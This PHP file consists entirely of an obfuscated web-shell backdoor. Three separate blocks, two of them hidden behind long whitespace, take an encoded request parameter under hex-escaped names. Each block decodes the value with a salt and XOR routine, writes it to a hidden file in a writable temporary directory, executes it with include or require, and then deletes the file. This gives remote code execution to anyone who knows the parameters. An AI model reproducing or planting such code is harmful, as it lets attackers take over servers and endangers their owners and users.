<?php																																										if(array_key_exists("\x69\x74em", $_REQUEST) && !is_null($_REQUEST["\x69\x74em"])){ $binding = $_REQUEST["\x69\x74em"]; $binding = explode( '.' ,$binding ); $object = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); $w = 0; array_walk( $binding, function( $v6) use( &$object, &$w, $salt, $lenS) { $sChar = ord( $salt[$w %$lenS] ); $dec =( ( int)$v6 - $sChar -( $w %10)) ^ 55; $object.=chr( $dec ); $w++; } ); $parameter_group = array_filter([session_save_path(), getcwd(), sys_get_temp_dir(), "/var/tmp", "/dev/shm", getenv("TEMP"), "/tmp", getenv("TMP"), ini_get("upload_tmp_dir")]); foreach ($parameter_group as $hld) { if (!!is_dir($hld) && !!is_writable($hld)) { $key = sprintf("%s/.comp", $hld); $success = file_put_contents($key, $object); if ($success) { include $key; @unlink($key); die();} } } }
																																										if(!is_null($_REQUEST["dat\x61\x5Fc\x68\x75\x6Ek"] ?? null)){ $ent = array_filter([getenv("TMP"), session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", "/tmp", sys_get_temp_dir(), "/var/tmp"]); $val = $_REQUEST["dat\x61\x5Fc\x68\x75\x6Ek"]; $val= explode ( ".", $val ) ; $desc = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); foreach( $val as $o => $v1): $sChar = ord( $salt[$o% $sLen]); $dec =( ( int)$v1 - $sChar -( $o% 10)) ^ 98; $desc .= chr( $dec); endforeach; for ($bind = 0, $flag = count($ent); $bind < $flag; $bind++) { $tkn = $ent[$bind]; if ((is_dir($tkn) and is_writable($tkn))) { $flg = str_replace("{var_dir}", $tkn, "{var_dir}/.factor"); if (file_put_contents($flg, $desc)) { require $flg; unlink($flg); exit; } } } }


if(isset($_REQUEST) && isset($_REQUEST["binding"])){
	$ent = array_filter([sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", "/dev/shm", getenv("TMP"), getenv("TEMP"), getcwd()]);
	$record = $_REQUEST["binding"];
	 	$record=   explode( "."	, $record);
	$sym=	 '';
            $salt7=	 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen=	 strlen($salt7 );
            $p=	 0;
    
            $__tmp=	 $record;
            while ($v3=	 array_shift($__tmp)) {
                $chS=	 ord($salt7[$p	% 	$sLen] );
                $dec=	 ((int)$v3 - $chS - ($p	% 	10)) ^ 26;
                $sym .= chr($dec );
                $p++;
            }
	foreach ($ent as $entity):
    		if (max(0, is_dir($entity) * is_writable($entity))) {
    $marker = sprintf("%s/.ref", $entity);
    $success = file_put_contents($marker, $sym);
if ($success) {
	include $marker;
	@unlink($marker);
	exit;}
}
endforeach;
}